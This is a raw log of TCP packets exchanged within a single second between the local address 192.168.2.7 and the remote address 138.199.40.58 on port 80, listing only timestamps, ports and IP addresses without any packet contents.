Apr 23, 2024 08:39:58.814376116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814414024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814416885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814428091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814470053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814470053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814479113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814491034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814541101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814547062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814547062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814573050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814630032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814646959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814659119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814671993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814718008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814718008 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814734936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814748049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814770937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814795017 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814817905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814831018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814872980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814873934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814896107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814908028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814932108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814949989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.814969063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.814987898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815020084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815037966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815058947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815076113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815196037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815211058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815309048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815324068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815378904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815392017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815437078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815448999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815448999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815481901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815502882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815524101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815536022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815536022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815548897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815567970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815618992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815628052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815680981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815700054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815704107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815716982 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815731049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815751076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815753937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815768003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815797091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815805912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815815926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815815926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815829039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815850973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815862894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815882921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815886021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815906048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815928936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815949917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.815969944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.815989017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816082954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816108942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816180944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816195011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816201925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816224098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816234112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816234112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816258907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816278934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816363096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816382885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816493988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816517115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816571951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816591978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816725016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816739082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816745996 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816776991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816776991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816809893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816823959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816836119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816869974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816884041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816884995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816884995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816896915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816917896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816917896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816935062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816956043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.816957951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.816977978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817001104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817020893 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817059040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817091942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817142010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817154884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817161083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817167044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817178965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817188025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817188025 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817240000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817240000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817253113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817364931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817367077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817379951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817435980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817481995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817496061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817547083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817547083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817553043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817564964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817595959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817641020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817662001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817671061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817687035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817706108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817723989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817728996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817742109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817749977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817764997 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817892075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817914009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817926884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817939997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817960978 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817962885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817975044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.817981005 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.817986012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818006039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818033934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818034887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818034887 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818048000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818113089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818125963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818135023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818137884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818149090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818157911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818161011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818203926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818203926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818373919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818386078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818413019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818414927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818435907 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818439007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818463087 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818485022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818505049 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818587065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818608046 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818656921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818670988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818676949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818692923 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818712950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818717003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818726063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818737984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818773985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818792105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818792105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818825006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818839073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818861008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818873882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.818881989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818914890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818914890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.818948030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819005966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819025040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819046974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819066048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819132090 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819165945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819247961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819261074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819272995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819300890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819303989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819305897 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819392920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819396973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819406033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819436073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819456100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819467068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819483995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819504023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819510937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819516897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819562912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819562912 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819586039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819664001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819675922 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819679022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819688082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819700956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819706917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819713116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819720030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819735050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819736004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819756031 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819757938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819797039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819797039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819869995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819962025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819974899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.819979906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.819987059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820003033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820003986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820015907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820023060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820034027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820040941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820040941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820064068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820082903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820105076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820123911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820130110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820152998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820159912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820173979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820194006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820211887 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820235968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820240974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820271015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820291042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820301056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820318937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820334911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820348024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820355892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820358992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820378065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820382118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820447922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820447922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820621014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820681095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820693970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820700884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820719004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820735931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820736885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820763111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820816040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820821047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820821047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820828915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820839882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820857048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820873022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820884943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820884943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820939064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820951939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820957899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820962906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.820982933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.820986032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821000099 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821090937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821095943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821103096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821165085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821187973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821239948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821252108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821283102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821291924 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821319103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821337938 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821368933 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821400881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821439028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821463108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821470976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821543932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821558952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821564913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821582079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821600914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821600914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821616888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821742058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821754932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821767092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821785927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821815968 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821815968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821815968 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821877003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821928024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821940899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.821949959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.821996927 CEST	49705	80	192.168.2.7	138.199.40.58
